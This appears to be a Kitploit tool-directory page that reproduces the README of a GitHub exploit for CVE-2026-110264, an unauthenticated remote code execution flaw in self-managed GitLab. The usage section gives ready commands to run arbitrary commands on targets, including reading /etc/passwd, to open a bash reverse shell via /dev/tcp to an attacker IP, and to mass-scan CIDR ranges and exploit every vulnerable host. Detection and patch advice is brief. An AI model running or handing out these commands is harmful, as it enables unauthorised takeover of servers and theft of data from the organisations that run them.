Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-110264-gitlab-regex-rce — CVE-2026-110264 - GitLab CE/EE Regex Integer Overflow Unauthenticated RCE | CVSS 10.0 | By Gh0st-Bx1 | Kitploit
Tools/GitHubGitHub/ghost-bx1/cve-2026-110264-gitlab-regex-rce
ReconnaissancePayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
Share
GitHub
ghost-bx1/cve-2026-110264-gitlab-regex-rce

cve-2026-110264-gitlab-regex-rce

CVE-2026-110264 - GitLab CE/EE Regex Integer Overflow Unauthenticated RCE | CVSS 10.0 | By Gh0st-Bx1

View Repository
12 days agoNot yet reviewed

GitLab-Ghost - CVE-2026-110264

CVE CVSS

Python Platform Category By Gh0st-Bx1

LEGAL DISCLAIMER: This repository was created exclusively for educational and security research purposes. The use of these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.


Summary

FieldDetail
CVECVE-2026-110264
NicknameGitLab-Ghost
TypeInteger Overflow in the regex compiler (CWE-190)
CVSS10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
ComponentGitLab Org-mode renderer - Ruby regex compiler engine
Vectors/api/v4/markdown (anonymous) / README.org upload (authenticated)
AuthenticationNot required (unauthenticated)
AffectsGitLab CE/EE >= 7.0, self-managed, < patched versions
Fixed19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, 18.11.13
DisclosedOctober 21, 2026 (simultaneous patches across 7 branches)

Vulnerability Description

Root cause

GitLab's regular expression compiler suffers from an integer overflow when processing #+TODO: directives in Org-mode files (.org). When a sequence of alternatives exceeds the limit of the internal ID type of the Ruby regex compiler, an overflow occurs that allows remote code execution on the GitLab server without authentication.

The vulnerability affects GitLab self-managed Community Edition and Enterprise Edition since version 7.0 (approximately 12 years of releases). GitLab.com was patched automatically.

1. Atacante envia arquivo .org com diretiva #+TODO: contendo 500+ estados alternados
2. GitLab chama o renderer Org-mode ao exibir o arquivo no repositorio
3. O parser cria uma regex para colorir keywords dos estados #+TODO
4. O compilador Ruby regex aloca IDs internos por estado; ao superar ~500,
   o counter interno (tipo fixo) sofre overflow
5. Overflow corrompe estruturas internas do compilador -> execucao de codigo
6. Codigo executa com as permissoes do processo git/gitlab

Anonymous vector (without authentication):

Atacante --> [POST /api/v4/markdown] {"text": "<org_payload>"}
                     |
          GitLab processa conteudo ORG sem autenticar
                     |
          Org-mode renderer -> regex compiler -> overflow -> RCE

Authenticated vector (free account):

Atacante (conta free) --> cria projeto --> upload README.org
                     |
          GitLab renderiza ao navegar no projeto
                     |
          Mesmo overflow -> RCE como processo servidor

Affected versions

BranchVulnerable versionsFixed version
19.5.x< 19.5.119.5.1
19.4.x< 19.4.319.4.3
19.3.x< 19.3.619.3.6
19.2.x< 19.2.919.2.9
19.1.x< 19.1.919.1.9
19.0.x< 19.0.1019.0.10
18.11.x< 18.11.1318.11.13
< 18.11All (EOL)Upgrade GitLab

GitLab.com: already fixed automatically. Only self-managed instances are affected.


Repository Structure

cve-2026-110264/
    poc.py          Verifica versao e envia payload Org-mode via /api/v4/markdown
    exploit.py      Exploit completo: fingerprint, reverse shell, scan em massa
    README.md       Este arquivo

Usage

PoC - Check version

python poc.py --url http://gitlab.empresa.com --check

PoC - Send anonymous payload

python poc.py --url http://gitlab.empresa.com --cmd "id"

PoC - With token (more reliable)

python poc.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "cat /etc/passwd"

Exploit - Arbitrary command

python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx --cmd "id; whoami; hostname"

Exploit - Reverse shell

# Terminal 1 (listener integrado):
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
                  --reverse-shell --lhost 192.168.1.10 --lport 4444

# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
                  --cmd "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"

Exploit - Mass scan

# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --scan-port 80

# Scan de arquivo + explorar vulneraveis
python exploit.py --scan alvos.txt --token glpat-xxxx --cmd "id"

# Aumentar profundidade de overflow (alvos mais resistentes)
python exploit.py --url http://gitlab.empresa.com --token glpat-xxxx \
                  --depth 1000 --cmd "id"

Full Options

poc.py

--url      URL do GitLab (ex: http://gitlab.empresa.com)
--cmd      Comando a executar (default: id)
--token    Personal Access Token (opcional, mais confiavel)
--check    Apenas verifica versao e vulnerabilidade
--silent   Suprime o banner

exploit.py

--url           URL do GitLab alvo
--scan          CIDR, range ou arquivo para scan
--scan-port     Porta HTTP para scan (default: 80)
--token         PRIVATE-TOKEN GitLab
--cmd           Comando a executar
--reverse-shell Lanca reverse shell com listener integrado
--lhost         IP para receber conexao
--lport         Porta para reverse shell (default: 4444)
--depth         Estados de overflow (default: 650, max recomendado: 1000)
--check         Apenas fingerprint de versao
--threads       Threads para scan (default: 30)
--silent        Suprime o banner

Detection and Mitigation

IndicatorDescription
POST requests to /api/v4/markdownAttempted anonymous exploitation
Upload of .org with #+TODO: very largeOverflow payload in states
ruby/gitlab process with unexpected callsCompromised worker
Unexpected outbound connection from the GitLab serverActive reverse shell

Remediation:

  1. Update to fixed versions (see table above)
  2. GitLab.com: no action required (auto-fixed)
  3. Self-managed: apply patches immediately
  4. Temporary mitigation: disable rendering of .org files (limited)
  5. WAF: filter requests with #+TODO: containing many alternatives

References

  • GitLab Security Advisory CVE-2026-110264
  • Censys Advisory
  • SOC Prime Analysis
  • CWE-190: Integer Overflow

By Gh0st-Bx1 | https://github.com/Ghost-Bx1

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    806
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    635
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    454
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    434
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    384

Explore all tools

Browse our collection of tools

View all tools →